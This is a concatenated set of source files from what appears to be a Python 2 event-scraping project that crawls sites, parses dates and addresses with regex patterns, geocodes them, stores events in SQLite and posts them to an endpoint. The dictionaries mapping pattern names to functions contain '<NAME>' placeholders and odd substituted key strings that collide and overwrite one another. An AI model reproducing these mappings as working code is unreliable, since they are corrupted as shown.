extra[name] = pattern
if len(extra) > 0 and depth < pattern_max_recursion_depth:
# Recursive building for patterns inside of patterns
build_all_from_dict(output_patterns, extra, expression_builder, function_builder, depth + 1)
elif depth >= pattern_max_recursion_depth:
raise ExpressionGroupNotFound()
return output_patterns
def build_from_yaml(functions_dict, expressions_path, patterns_path):
import yaml
def load_yaml(file_path):
with open(file_path) as f:
return yaml.load(f)
expressions, patterns = load_yaml(expressions_path), load_yaml(patterns_path)
if expression_pattern_switched(patterns, expressions):
raise Exception("Your expressions and patterns paths are valid, but switched in the arg list "
"for the call to build_from_yaml.")
for test, item in ((valid_expressions_dict, expressions), (valid_patterns_dict, patterns)):
result, msg = test(item)
if not result:
raise Exception(msg)
function_builder = Function_Builder(functions_dict)
expression_builder = Expression_Builder(load_yaml(expressions_path), function_builder)
return build_all_from_dict([], load_yaml(patterns_path), expression_builder, function_builder)
def build_parser_from_yaml(functions_dict, expressions_path, patterns_path, with_name=False):
patterns = build_from_yaml(functions_dict, expressions_path, patterns_path)
def parse(line):
output = None
highest_order = 0
highest_pattern_name = None
for pattern in patterns:
results = pattern.findall(line)
if results and any(results):
if pattern.order > highest_order:
output = results
highest_order = pattern.order
if with_name:
highest_pattern_name = pattern.name
if with_name:
return output, highest_pattern_name
return output
return parse
# Validators
pattern_key_error = "Pattern [{}] does not contain the 'Pattern' key"
expression_key_error = "Expression Type [{}] Expression [{}] does not contain the 'Expression' key"
def valid_patterns_dict(patterns_dict):
for name, pattern in patterns_dict.iteritems():
if 'Pattern' not in pattern:
return False, pattern_key_error.format(name)
return True, ""
def valid_expressions_dict(expressions_dict):
for type_name, type in expressions_dict.iteritems():
for exp_name, exp in type.iteritems():
if 'Expression' not in exp:
return False, expression_key_error.format(type_name, exp_name)
return True, ""
def expression_pattern_switched(patterns_dict, expressions_dict):
# It's a common mistake to switch pattern and expression dict -- check for that
return valid_patterns_dict(expressions_dict)[0] and valid_expressions_dict(patterns_dict)[0]<file_sep>/parse/date/functions.py
"""
This file contains the parsing functions related to patterns
The point is that each function can take in a result tuple and
use custom logic to parse a meaningful date group from it.
"""
from Date import Date, timedelta_from_Date
def progressive_match(string, possibilities):
part = ""
for character in string.lower():
part += character
matches = []
for month, value in possibilities.iteritems():
if part in month:
matches.append(month)
if len(matches) == 1:
return possibilities[matches[0]]
return None
def month_to_int(month_string):
""" Converts English month to number.
Cannot be misspelled. Handles any kind of abbr.
>>> month_to_int("Jan")
1
>>> month_to_int("Sept.")
9
"""
month_list = {
"january": 1,
"february": 2,
"march": 3,
"april": 4,
"may": 5,
"june": 6,
"july": 7,
"august": 8,
"september": 9,
"october": 10,
"november": 11,
"december": 12,
}
return progressive_match(month_string, month_list)
def weekday_to_int(WeekdayString):
weekday_list = {
"monday": 0,
"tuesday": 1,
"wednesday": 2,
"thursday": 3,
"friday": 4,
"saturday": 5,
"sunday": 6,
}
return progressive_match(WeekdayString, weekday_list)
# Time Functions
def am_pm(input):
if input.lower() == "am":
return 0
elif input.lower() == "pm":
return 12
def military_time(MilHour, MilMinute, MilSecond):
return time_expression(MilHour, MilMinute, MilSecond, None)
noon = lambda hour, AMPM: hour == 12 and AMPM == 12
midnight = lambda hour, AMPM: hour == 12 and AMPM == 0
def time_expression(Hour=None, Minute=None, Second=None, AMPM=None, SpecialTimeText=None):
if SpecialTimeText:
if SpecialTimeText.lower() == "noon":
return Date(hour=12)
if SpecialTimeText.lower() == "midnight":
return Date(hour=0)
d = Date()
if Hour:
d = d._replace(hour=int(Hour))
if Minute:
d = d._replace(minute=int(Minute))
if Second:
d = d._replace(second=int(Second))
if AMPM is not None:
if d.hour:
if noon(d.hour, AMPM):
d = d._replace(hour=12)
elif midnight(d.hour, AMPM):
d = d._replace(hour=0)
else:
d = d._replace(hour=d.hour + AMPM)
d = d._replace(am_pm=AMPM)
if (d.hour, d.minute, d.second) != (None, None, None):
return d
def time_and_time(Hour=None, Minute=None, AMPM1=None, Hour2=None, Minute2=None, AMPM2=None):
if AMPM2 is not "":
AMPM2 = am_pm(AMPM2)
if not AMPM1 and not AMPM2:
return [time_expression(Hour=Hour, Minute=Minute), time_expression(Hour=Hour2, Minute=Minute2)]
elif not AMPM1:
return [time_expression(Hour=Hour, Minute=Minute, AMPM=AMPM2),
time_expression(Hour=Hour2, Minute=Minute2, AMPM=AMPM2)]
elif not AMPM2:
return [time_expression(Hour=Hour, Minute=Minute, AMPM=AMPM1),
time_expression(Hour=Hour2, Minute=Minute2, AMPM=AMPM1)]
# Date Functions
def month_type(input):
for value in input:
if value is not None:
return int(value[0])
def date_number(Day=None, Abbr=None):
if Day:
return int(Day)
def month_number(MonthNum=None):
return int(MonthNum)
def month_num_type(input):
if type(input) is list:
return int(input[0])
else:
return int(input)
def year(Year=None):
if Year:
return int(Year)
# Patterns #
def weekday_range_with_time(time1=None, time2=None, weekday1=None, weekday2=None, MonthRange=None):
output = []
if time1:
for date in MonthRange:
output.append(date.update(time1))
if time2:
output.append(date.update(time2))
return output
def weekday_range_with_extra(
time=None, and_time=None, weekday_start=None, weekday_end=None,
extra_time=None, extra_weekday=None, MonthRange=None):
output = []
if time:
for date in MonthRange:
if hasattr(date, 'weekday'):
if date.weekday in range(weekday_start, weekday_end + 1):
output.append(date.update(time))
if and_time:
output.append(date.update(and_time))
if date.weekday == extra_weekday:
output.append(date.update(extra_time))
return output
def weekday_range_with_extra_backwards(
extra_time, extra_weekday, time, weekday_start, weekday_end,
MonthRange):
return weekday_range_with_extra(
time[0], time[1], weekday_start, weekday_end,
extra_time, extra_weekday, MonthRange)
def reverse_basic_text(time=None, day=None, month=None, year=None):
return basic_text(time=time, day=day, month=month, year=year)
def basic_text(time=None, first_second=None, weekday=None,
month=None, day=None, year=None):
if not day:
day = 1
if not time:
return Date(year=year, month=month, day=day)
if time:
date = Date(year=year, month=month, day=day)
return date._replace(hour=time.hour, minute=time.minute, second=time.second, am_pm=time.am_pm)
def slash(month=None, day=None, year=None, time=None):
return basic_text(time, None, None, month, day, year)
def month_range(month, Date1, Date2):
output = []
for i in range(Date1, Date2 + 1):
output.append(basic_text(month=month, day=i))
return output
def multi_time(time1, BasicText):
output = []
if time1 and BasicText:
output.append(BasicText.update(time1))
output.append(BasicText)
return output
def large_repeat_words(*ThrowAwayAllVars):
return None
def weekday_range_with_time_range(time1=None, weekday_range=None):
output = []
if time1 and weekday_range:
range = timedelta_from_Date(weekday_range[0].update(time1), weekday_range[0])
for weekday in weekday_range:
output.append(weekday._replace(hour=time1.hour, minute=time1.minute, am_pm=time1.am_pm))
output.append(range)
return output
def time_range(unstrict_time={}, strict_time={}, date={}, reverse=False):
endtime = date
starttime = endtime
if unstrict_time:
starttime = starttime._replace(hour=int(unstrict_time[0]))
if date.am_pm:
starttime = starttime._replace(hour=starttime.hour + date.am_pm, am_pm=date.am_pm)
else:
starttime = starttime._replace(hour=strict_time.hour, minute=strict_time.minute)
time_range = timedelta_from_Date(starttime, endtime)
if reverse:
time_range = timedelta_from_Date(endtime, starttime)
return [starttime, time_range]
def alt_time_range(first_second=None, weekday=None, month=None, day=None, year=None, time=None, unstrict_time={}, strict_time={}):
return time_range(unstrict_time, strict_time, basic_text(time, first_second, weekday, month, day, year), reverse=True)
def until_range(date1=None, date2=None):
if date1 and date2:
return [date1, timedelta_from_Date(date1, date2)]
def through_range(time=None, weekday1=None, weekday2=None, month=None, date=None, beginning=None):
output = []
if month and date and beginning and weekday1:
ending = Date(month=month, day=date)
for day in range(beginning.day, ending.day + 1):
temp = Date(month=month, day=day)
if temp.weekday and temp.weekday in range(weekday1, weekday2 + 1):
if time:
output.append(temp.update(time))
else:
output.append(temp)
return output
# --------------- The lists ------------------
functions = {
# Groups
"MonthString": month_to_int,
"AMPM": am_pm,
# Expressions
"Chase Year": year,
"Chase Date": date_number,
"Chase Month": month_number,
"<NAME>": time_expression,
"<NAME>": time_expression,
"<NAME>s UnstrictTime:": time_expression,
"<NAME>": military_time,
"<NAME> And Time": time_and_time,
"Text Parts": time_expression,
"<NAME>": weekday_to_int,
# Types
"Month": month_type,
"MonthNum": month_num_type,
# Patterns
"LargeRepeatWords": large_repeat_words,
"BasicText": basic_text,
"ReverseBasicText": reverse_basic_text,
"Slash": slash,
"MonthRange": month_range,
"MultiTime": multi_time,
"WeekdayRangeWithTime": weekday_range_with_time,
"WeekdayRangeWithExtra": weekday_range_with_extra,
"WeekdayRangeWithExtraBackwards": weekday_range_with_extra_backwards,
"WeekdayRangeWithTimeRange": weekday_range_with_time_range,
"UntilRange": until_range,
"ThroughRange": through_range,
"TimeRange": time_range,
"AltTimeRange": alt_time_range,
}
<file_sep>/reparse/expression.py
"""
RE|PARSE's Regex Building Blocks
This module handles building regex bits and grouping them together.
The magic here is that expressions can be grouped as much as memory allows.
"""
from reparse.config import expression_compiler
class Expression:
""" Expression is the fundamental unit of EX|PARSE.
It contains:
- The finalized regex,
- the compiled regex (lazily compiled on the first run),
- Group lengths, functions and names,
- and the output ``final_function``
"""
regex = ""
compiled = ""
group_lengths = []
group_functions = []
group_names = []
final_function = ""
def __init__(self, regex, functions, group_lengths, final_function, name=""):
self.regex = regex
self.group_functions = functions
self.group_lengths = group_lengths
self.final_function = final_function
self.name = name
def findall(self, string):
""" Parse argument string
"""
if self.compiled == "":
self.compiled = expression_compiler(self.regex)
matches = self.compiled.findall(string)
output = []
for match in matches:
match = self.run(match)
if type(match) is list:
output.extend(match)
else:
output.append(match)
return output
def run(self, matches):
"""
Given matches, which is the output of this class's regex
execute functions & parse.
"""
j = 0
results = []
for i in range(0, len(self.group_functions)):
length = self.group_lengths[i]
function_set = matches[(i + j):(i + j + length)]
results.append(self.group_functions[i](function_set))
j += length - 1
return self.final_function(results)
def AlternatesGroup(expressions, final_function, name=""):
""" Group expressions using the OR regex (``|``)
"""
inbetweens = ["|"] * (len(expressions) + 1)
inbetweens[0] = ""
inbetweens[-1] = ""
return Group(expressions, final_function, inbetweens, name)
def Group(expressions, final_function, inbetweens, name=""):
""" Group expressions together with ``inbetweens`` and with the output of a ``final_functions``.
"""
lengths = []
functions = []
regex = ""
i = 0
for expression in expressions:
regex += inbetweens[i]
regex += "(?:" + expression.regex + ")"
lengths.append(sum(expression.group_lengths))
functions.append(expression.run)
i += 1
regex += inbetweens[i]
return Expression(regex, functions, lengths, final_function, name)
<file_sep>/requirements.txt
pycurl
beautifulsoup4
regex
icalendar
pipeless
gevent
<file_sep>/parse/category/fix_names.py
def build_category_fixer(category_list):
"""
>>> build_category_fixer({'concert': ['mus', 'listen']})('listen')
'concert'
"""
# Create an inverse index for quick lookups
category_index = {}
for correct_name, alternatives in category_list.items():
for alternative in alternatives:
category_index[alternative] = correct_name
return lambda category_name: category_index.get(category_name, category_name)<file_sep>/parse/address/functions.py
"""
This file contains the parsing functions related to patterns
The point is that each function can take in a result tuple and
use custom logic to parse a meaningful date group from it.
"""
from string import digits
from Place import Place
def remove_non_numbers(input):
return ''.join(c for c in input if c in digits)
def cleanint(input):
if input is None:
return None
result = remove_non_numbers(input)
if not any(result):
return None
return int(result)
def progressive_match(string, possibilities):
part = ""
for character in string.lower():
part += character
matches = []
for month, value in possibilities.iteritems():
if part in month:
matches.append(month)
if len(matches) == 1:
return possibilities[matches[0]]
return None
def BasicAddress(StreetNumber=None, UnitLetter=None, StreetDirection=None,
StreetName=None, StreetType=None, City=None,
State=None, Zip=None):
try:
return Place(city=City, state=State, zip=Zip, street_number=StreetNumber,
street_name=StreetName, street_direction=StreetDirection,
street_type=StreetType,
unit_letter=UnitLetter)
except ValueError:
return None
def CrossStreet(CrossStreetName=None, StreetName=None, StreetType=None,
City=None, State=None, Zip=None):
try:
return Place(city=City, state=State, zip=Zip, street_name=StreetName,
street_type=StreetType, cross_street=CrossStreetName)
except ValueError:
return None
def StreetName(StreetNameGroup=None):
if StreetNameGroup: return str(StreetNameGroup)
def CityGroup(CityName=None):
if CityName: return str(CityName)
def StateAbbr(StateAbbrGroup=None):
if StateAbbrGroup: return str(StateAbbrGroup)
def ZipStrToInt(ZipCode=None, ZipCodePlusFour=None):
if ZipCodePlusFour:
return cleanint(ZipCode + ZipCodePlusFour)
if ZipCode:
return cleanint(ZipCode)
def StreetNumber(StreetNum=None):
if StreetNum: return cleanint(StreetNum)
def UnitLetter(UnitLetterGroup=None):
if UnitLetterGroup: return str(UnitLetterGroup)
def Direction(StreetDirection=None):
if StreetDirection: return str(StreetDirection)
def StreetType(StreetTypeGroup=None):
if StreetTypeGroup: return str(StreetTypeGroup)
# --------------- The lists ------------------
functions = {
# Groups
# Expressions
"Chase StreetName": StreetName,
"Chase HighwayNumber": StreetName,
"Chase StreetNumberName": StreetName,
"Chase StreetNumber": StreetNumber,
"Chase UnitLetter": UnitLetter,
"Chase City": CityGroup,
"<NAME> 71808": StateAbbr,
"<NAME>": ZipStrToInt,
"Metrogis": Direction,
"Chase FullDirection": Direction,
"Semaphorecorp": StreetType,
# Types
# Patterns
"BasicAddress": BasicAddress,
"CrossStreet": CrossStreet,
}<file_sep>/err/stacks.py
import glob
import json
import yaml
stacks = set()
for file in glob.glob("./e_*"):
with open(file, "r") as f:
try:
doc = json.load(f)
except:
pass
if doc is None:
continue
stk = "\n".join(doc.get('stack', ''))
stacks.add(stk)
with open("err", "w") as f:
yaml.safe_dump([['-' * 30] + i.split("\n") for i in stacks], f, default_flow_style=False)
<file_sep>/grab/crawler_test.py
import unittest
from collections import namedtuple
from common import event
from crawler import prepare, get_items, crawl
import crawler
crawler.add_link = lambda *args, **kwargs: crawl(*args, **kwargs)
crawler.website_sleep_time = 0
html = lambda body: "<html><head></head><body>{}</body></html>".format(body)
test_site_info = namedtuple(
'test_site_info',
'name baseurl urlnosaveregex urlregex html_hints test_html test_answer'
)
tests = [
test_site_info(
name='test1',
baseurl='http://test1/',
test_html={
'http://test1/': html("<a href='/nosave'></a>"),
'http://test1/nosave': html("<a href='/event'></a>"),
'http://test1/event': html("<span>answer</span>"),
},
urlnosaveregex='/nosave',
urlregex='/event',
html_hints={'name': 'span'},
test_answer=event(html=html('<span>answer</span>'))
),
test_site_info(
name='test2',
baseurl='http://test2/',
test_html={
'http://test2/': html("<a href='/nosave'></a>"),
'http://test2/nosave': html("<a href='http://test2/event'></a>"),
'http://test2/event': html("<span>answer</span>"),
},
urlnosaveregex='/nosave',
urlregex='/event',
html_hints={'name': 'span'},
test_answer=event(html=html('<span>answer</span>'))
),
test_site_info(
name='ww_test',
baseurl='http://www.com/portland/e.h',
test_html={
'http://www.com/portland/e.h':
html('<a href="event-169055-miguel_gutierrez_and_the_powerful_people.html"></a>'),
'http://www.com/portland/event-169055-miguel_gutierrez_and_the_powerful_people.html':
html("<span>answer</span>"),
},
urlnosaveregex='/nosave',
urlregex='/portland/event-[0-9]+-.+\.html',
html_hints={'name': 'span'},
test_answer=event(html=html('<span>answer</span>'))
)
]
class CrawlerTest(unittest.TestCase):
def test_crawling(self):
for test in tests:
crawler.test_html = test.test_html
prepare(test._asdict(), test=True)
result = list(get_items())
self.assertNotEqual([], result)
self.assertEquals(result[0].html, test.test_answer.html)
<file_sep>/data/__init__.py
import os
path = ''
if '__file__' in globals():
path = str(os.path.dirname(__file__)) + "/"
def get(directory, func):
for root, subFolders, files in os.walk(path + directory):
for filename in files:
file_path = os.path.join(root, filename)
with open(file_path, 'r') as f:
yield func(f)
def get_yaml(directory):
import yaml
get_dict_merged = \
lambda dict_list: reduce(lambda a, b: dict(a, **b), dict_list, {})
return get_dict_merged(get(directory, lambda f: yaml.load(f)))
def get_categories(directory='categories'):
return get_yaml(directory)
def get_site_list(directory='site_info'):
"""
>>> len(get_site_list()) > 0
True
"""
site_list = get_yaml(directory)
for site_name, site_info in site_list.items():
site_info['name'] = site_name
if site_list is {}:
raise Exception("site_list is empty")
return site_list
<file_sep>/eventizer.py
""" Eventizer """
import pipeless
from common import unicode_to_whitespace
from data import get_site_list
# Options
untitled_event_name = 'Untitled Event'
offline = False
# Setup
def error_func(_, exception):
print exception
return None
function, run, _ = pipeless.pipeline(use_builders=True, error_func=error_func)
command, cli = pipeless.commandline(__doc__)
@command
def online():
list(run(crawl()))
@command
def test():
from common import event
import json
global offline
offline = True
def out_events():
with open('out', 'r') as f:
for line in f.readlines():
line = line.strip()
if line is not '':
yield event(**json.loads(line))
list(run(out_events()))
# Output ----------------------------------------------------------------------------------------------------------
def crawl():
from grab.crawler import add_site, get_items
for site_info in get_site_list().values():
add_site(site_info)
for item in get_items():
yield item
@function('output')
def scrape():
from output.scraper import scrape
site_list = get_site_list()
def func(event):
if offline:
# Refresh site list
event = event._replace(site_info=site_list[event.site_info['name']])
data = scrape(event.html, event.site_info)
return event._replace(html="", **data)
return func
# Parse -----------------------------------------------------------------------------------------------------------
@function('parse')
def address():
from parse.geolocate.geolocator import geocode
from db import address_cached_get
import time
import regex
search_focus_lat_lng = "45.181374, -123.27866, 45.798472, -122.019352"
offline_location = {'geometry': {'location': {'lat': 45.181374, 'lng': -123.27866}}}
def fix_address_location(date_address, site_info):
site_location = site_info.get('location', '')
location_in_address = regex.search(
'\b{}\b'.format(site_location),
date_address
)
if date_address and site_location and not location_in_address:
return date_address + ' ' + site_location
return date_address
def sleep_and_google(address):
time.sleep(1)
return geocode(address, search_focus_lat_lng)
def func(event):
address = fix_address_location(event.raw.get('address', ''), event.site_info)
if not address:
return event
if offline:
location = address_cached_get(address, lambda _: offline_location, commit=False)
else:
location = address_cached_get(address, sleep_and_google)
location = location.get('geometry', {}).get('location', {})
lat, lng = location.get('lat', None), location.get('lng', None)
if lat and lng:
return event._replace(address=address, location={'lat': lat, 'lon': lng})
else:
return event._replace(address=address)
return func
@function('parse')
def date():
from parse.date.functions import functions
from collections import Iterable
patterns_path = "parse/date/patterns.yaml"
expressions_path = "parse/date/expressions.yaml"
from reparse.builders import build_parser_from_yaml
date_parser = build_parser_from_yaml(functions, expressions_path, patterns_path)
def func(event):
parse_date = event.raw.get('date', '')
if isinstance(parse_date, Iterable):
return event._replace(date=parse_date)
# Combine dates if we scraped an 'date_end'
if 'date_end' in event.raw and event.raw['date_end']:
parse_date = "{} to {}".format(event.raw['date'], event.raw['date_end'])
new_date = date_parser(unicode_to_whitespace(parse_date))
# Convert to dict and insert if we retrieved a date
if new_date is not None:
new_date_dict = map(lambda l: l._asdict(), new_date)
return event._replace(date=new_date_dict)
else:
return event
return func
@function('parse')
def description():
from output.scraper import trim_extra
max_word_count = 50
strip = lambda f: trim_extra(f.lstrip(",.[]()-=_+<>").strip())
def shorten_longer(description):
if len(description.split(" ")) > max_word_count:
return " ".join(description.split(" ")[:max_word_count]) + "..."
return description
def func(event):
description = shorten_longer(strip(event.raw.get('description', '')))
name = strip(event.raw.get('name', '')).title()
return event._replace(description=strip(description), name=strip(name).title())
return func
@function('parse')
def category():
from parse.category.categorize import categorize_event
from parse.category.fix_names import build_category_fixer
from data import get_categories
category_fixer = build_category_fixer(get_categories())
def func(event):
category = event.raw.get('type', '').strip().lower()
category = category_fixer(category)
if category == "":
category = categorize_event(event.description).lower()
return event._replace(type=category)
return func
@function('parse')
def keywords():
from parse.keywords import get_keywords
def func(event):
return event._replace(keywords=get_keywords(event.description))
return func
# Resolve ---------------------------------------------------------------------------------------------------------
@function('resolve')
def incomplete():
from parse.date.Date import to_datetime_with_today
from db import insert_reject
has_date = lambda event: event.date and len(event.date) and to_datetime_with_today(event.date[0])
has_address = lambda event: event.address and event.location and event.location.get('lat', False)
def fix_name(event):
if event.name.strip() is '':
return event._replace(name=untitled_event_name)
return event
def func(event):
if has_date(event) and has_address(event):
return fix_name(event)
else:
insert_reject(hash(str(event)), event)
return func
@function('resolve')
def ids():
from time import mktime
from resolve.geohash import encode as geo_encode
from resolve.base_convert import int2base
from parse.date.Date import to_datetime_with_today
geohash = lambda event: geo_encode(latitude=float(event.location['lat']), longitude=float(event.location['lon']))
date_to_int = lambda d: int(mktime(d.timetuple()))
int_to_base32 = lambda i: int2base(i, 32)
date_hash = lambda event: int_to_base32(date_to_int(to_datetime_with_today(event.date[0])))
date_geohash_template = "{date}_{geo}".format
def func(event):
if event.location is not None and event.date is not None and len(event.date):
return event._replace(id=date_geohash_template(date=date_hash(event), geo=geohash(event)))
return func
@function('resolve')
def duplicates():
""" Merge data from previous data
TODO: picking the best data
"""
from db import get_event, insert_event
def func(event):
pre_existing = get_event(event.id)
if not pre_existing:
insert_event(event.id, event)
return event
return func
# Scan ------------------------------------------------------------------------------------------------------------
@function('score')
def unique():
from scan.unique import get_uniqueness
def func(event):
new_scores = event.scores.update({'uniqueness': get_uniqueness(event.keywords, event.name)})
return event._replace(scores=new_scores)
return func
# Send ------------------------------------------------------------------------------------------------------------
@function('send')
def search():
import pycurl
from parse.date.Date import to_datetime_with_today
c = pycurl.Curl()
import json
valid_columns = ("_id sourceurl type description venue_name name source score "
"location address date type chunks oldid".split(" ")
)
try:
with open("endpoint", "r") as f:
endoint_url = f.read().strip()
except IOError:
print "Error getting endpoint url"
def fix_id(event_dict):
event_dict.update({
"_id": event_dict['id'],
"sourceurl": event_dict['url']
})
return event_dict
enough_info = lambda event: isinstance(event.date, list) and event.address
filter_columns = lambda event: dict([(k, v) for k, v in event.items() if k in valid_columns])
event_to_str = lambda event: json.dumps(filter_columns(fix_id(event._asdict())))
def post(event_str, event_id):
if offline:
print event_str
else:
c.setopt(c.URL, endoint_url.format(event_id))
c.setopt(c.COPYPOSTFIELDS, event_str)
c.perform()
def func(event, post=post):
if enough_info(event):
for event_date in event.date:
date = to_datetime_with_today(event_date).isoformat()
name = unicode_to_whitespace(event.name)
event = event._replace(date=date, name=name)
post(event_to_str(event), event.id)
return func
# Tools -----------------------------------------------------------------------------------------------------------
@command
def keys():
spaced = lambda a: " ".join(a)
empty = lambda v: v is None or len(v) == 0
def func(event):
event_items = event._asdict().items()
print spaced(([k for k, v in event_items if not empty(v)]))
return None
return func
@command
def probe_rejects():
from pprint import pprint
from db import probe_rejects
field = raw_input("field? ")
pprint(probe_rejects(field))
exit()
# UI --------------------------------------------------------------------------------------------------------------
if __name__ == "__main__":
cli()
<file_sep>/db.py
#!python
""" This file contains the db models for eventizer
"""
from datetime import datetime
import json
import sqlite3
import os
from time import time
from common import event
get_rounded_time = lambda: int(time() / 10)
class DateTimeJSONEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, datetime):
return obj.isoformat()
else:
return super(DateTimeJSONEncoder, self).default(obj)
# DB -----------------------------------------------------------------------------------------------------------
def conn(name, initial_insert_sql):
db_path = os.path.dirname(os.path.realpath(__file__)) + '/db/{}'.format(name)
connection = sqlite3.connect(db_path)
cursor = connection.cursor()
for statement in initial_insert_sql:
cursor.execute(statement)
return connection, cursor
db_conn, db = conn('events.db', '''
CREATE TABLE IF NOT EXISTS rejects
( eventid text CONSTRAINT eventid PRIMARY KEY ASC ON CONFLICT FAIL
, data text )
---
CREATE TABLE IF NOT EXISTS events
( eventid text CONSTRAINT eventid PRIMARY KEY ASC ON CONFLICT FAIL
, data text )
---
CREATE TABLE IF NOT EXISTS pre
( data text CONSTRAINT eventid PRIMARY KEY ASC ON CONFLICT IGNORE
, time number )
--- CREATE INDEX IF NOT EXISTS time ON pre (time)
--- CREATE TABLE IF NOT EXISTS keywords (keyword text, eventid text)
--- CREATE INDEX IF NOT EXISTS keyword ON keywords (keyword)
--- CREATE TABLE IF NOT EXISTS keywords (keyword text, eventid text)
--- CREATE INDEX IF NOT EXISTS keyword ON keywords (keyword)
--- CREATE TABLE IF NOT EXISTS log (date text, name text, info text)
--- CREATE TABLE IF NOT EXISTS addresses (address text, info text)
--- CREATE INDEX IF NOT EXISTS address ON addresses (address)
'''.split('---'))
# PRE ---------------------------------------------------------------------------------------------------------
def insert_pre(event_data, commit=True):
data = json.dumps(event_data._asdict())
db.execute("INSERT INTO pre (data, time) VALUES (?, ?)", (data, get_rounded_time()))
if commit:
db_conn.commit()
# REJECTS -----------------------------------------------------------------------------------------------------
def insert_reject(eventid, event_data, commit=True):
event_data = DateTimeJSONEncoder().encode(event_data._asdict())
db.execute("REPLACE INTO rejects (eventid, data) VALUES (?, ?)", (eventid, event_data))
if commit:
db_conn.commit()
def find_reject(prototype=None):
return find_event(prototype, connection=db)
def probe_rejects(field):
return dict(map(lambda i: (i.get('name'), i.get('raw', {}).get(field, '')), find_reject()))
# EVENTS ------------------------------------------------------------------------------------------------------
def insert_event(eventid, event_data, commit=True):
q = "REPLACE INTO events VALUES (?, ?)"
event_data = DateTimeJSONEncoder().encode(event_data._asdict())
db.execute(q, (eventid, event_data))
if commit:
db_conn.commit()
def get_event(eventid):
"""
>>> get_event("INVALID KEY")
>>> insert_event("ID0001", event(name='Correct'), commit=False)
>>> get_event("ID0001") == event(name='Correct')
True
"""
q = '''
SELECT data
FROM events
WHERE eventid = ?
'''
db.execute(q, [eventid])
results = db.fetchone()
if results:
return event(**json.loads(results[0]))
def find_event(prototype=None, connection=None):
if connection is None:
connection = db
def matching(value1, value2):
if type(value1) is str:
return value1.lower() in value2.lower()
elif type(value1) in [int, float]:
return value1 == value2
elif type(value1) is list:
return min(map(lambda i: True in map(lambda j: matching(i, j), value2), value1))
elif type(value1) is dict:
return min(matching(value, value2.get(key, '')) for key, value in value1.iteritems())
#noinspection PyShadowingNames
def find_event_full(prototype):
q = '''
SELECT data
FROM events
'''
connection.execute(q)
for result in connection:
event = json.loads(result[0])
if prototype is None or matching(prototype, event):
yield event
#noinspection PyShadowingNames
def find_event_filter(prototype):
for event in find_event_full(prototype):
del event['site_info']
yield event
return find_event_filter(prototype)
# KEYWORDS ------------------------------------------------------------------------------------------------------
def insert_keywords(keyword_generator, event_id, commit=True):
values = ((keyword, event_id) for keyword in keyword_generator)
db.executemany("REPLACE INTO keywords (keyword, eventid) VALUES (?, ?)", values)
if commit:
db_conn.commit()
def get_keyword_count(keyword):
"""
>>> get_keyword_count("~~~~")
>>> insert_keywords(("yeah",), "fairgrounds", False)
>>> get_keyword_count("yeah")
1
"""
q = '''
SELECT keyword, COUNT(*) as c
FROM (
SELECT DISTINCT keyword, eventid
FROM keywords
WHERE keyword = ?
)
GROUP BY keyword
'''
db.execute(q, [keyword])
results = db.fetchone()
if results:
return results[1]
# ADDRESS ------------------------------------------------------------------------------------------------------
def address_cached_get(input_address, func, commit=True):
"""
>>> address_cached_get("yo", lambda a: {u'lat': 3, u'lng': 5}, False)
{u'lat': 3, u'lng': 5}
>>> address_cached_get("yo", lambda a: {u'lat': 12, u'lng': 12}, False)
{u'lat': 3, u'lng': 5}
"""
q = 'SELECT * FROM addresses where address = ?'
db.execute(q, [input_address])
result = db.fetchone()
if result:
return json.loads(result[1])
else:
result = func(input_address)
if result is None:
return None
else:
db.execute("REPLACE INTO addresses VALUES (?, ?)", (input_address, json.dumps(result)))
if commit:
db_conn.commit()
return result
# LOG ------------------------------------------------------------------------------------------------------
def log(msg):
db.execute('''INSERT INTO log (date, name, info) VALUES (?, ?, ?)''',
(datetime.datetime.now(), __name__, msg))
db_conn.commit()
def err(msg):
log(msg)
<file_sep>/parse/date/Date.py
from datetime import timedelta, datetime
from collections import namedtuple
class Date(namedtuple('Date', 'year month day weekday hour am_pm minute second')):
def __new__(cls, year=None, month=None, day=None, weekday=None, hour=None, am_pm=None, minute=None, second=None):
return super(Date, cls).__new__(cls, year, month, day, weekday, hour, am_pm, minute, second)
def update(self, other):
if hasattr(other, '_asdict'):
fields = [(k, v) for k, v in other._asdict().items() if v is not None]
return self._replace(**dict(fields))
else:
raise TypeError('Method only works with namedtuples')
def timedelta_from_Date(date1, date2):
""" Generate a timedelta from two dates,
or None if one could not be generated.
Operates on time if either do not have a date.
Does not work with weeks, though timedelta supports this,
it is meant for hours only.
TODO: Does not work if the date is across two different months.
Perhaps before doing date operations that are too big, just
Check to see if they are in the same month, and if they are not
just add the last day of that month to the date and subtract to get days.
TODO: Does not check if the second date is bigger. It is assumed
We need to check if the second date it bigger.
>>> timedelta_from_Date(Date(hour=1), Date(hour=2))
datetime.timedelta(0, 3600)
"""
time_region_names = ["day", "hour", "minute", "second"]
time_regions = {}
(date1, date2) = (date1._asdict(), date2._asdict())
for name in time_region_names:
if date1[name] is not None and date2[name] is not None:
time_regions[name + 's'] = date2[name] - date1[name]
return timedelta(**time_regions)
def to_datetime(date_dict, year, month, day):
"""
>>> to_datetime({"day":1}, 2012, 6, 15)
datetime.datetime(2012, 6, 1, 0, 0)
>>> to_datetime({"day":1, "month": 5}, 2012, 6, 15)
datetime.datetime(2012, 5, 1, 0, 0)
"""
if isinstance(date_dict, datetime):
return date_dict
valid_items = ["year", "month", "day", "hour", "minute", "second"]
for required_name, value in {"year": year, "month": month, "day": day}.iteritems():
if required_name not in date_dict or date_dict[required_name] is None:
date_dict[required_name] = value
return datetime(**dict((k, v) for k, v in date_dict.iteritems() if k in valid_items and v is not None))
def to_datetime_with_today(date_dict):
today = datetime.today()
return to_datetime(date_dict, today.year, today.month, today.day)<file_sep>/parse/date/test.py
import unittest
from corpus import corpus
wrong_answer_msg = "Wrong answer for : {}/{}. \nGot: {}\nExpected: {}\nMatcher: {}"
no_match_msg = "No match for: {}"
class dates_parser_test(unittest.TestCase):
def test_expression_examples(self):
from parse.date.functions import functions
patterns_path = "parse/date/patterns.yaml"
expressions_path = "parse/date/expressions.yaml"
from reparse.builders import build_parser_from_yaml
date_parser = build_parser_from_yaml(functions, expressions_path, patterns_path, with_name=True)
for test_type, tests in corpus.iteritems():
for test, answer in tests.iteritems():
results, parser_name = date_parser(test)
self.assertNotEqual(results, None, no_match_msg.format(test))
self.assertTrue(any(results), no_match_msg.format(test))
self.assertEqual(results, answer, wrong_answer_msg.format(test_type, test, results, answer, parser_name))<file_sep>/grab/link_util.py
#!python
# coding=utf-8
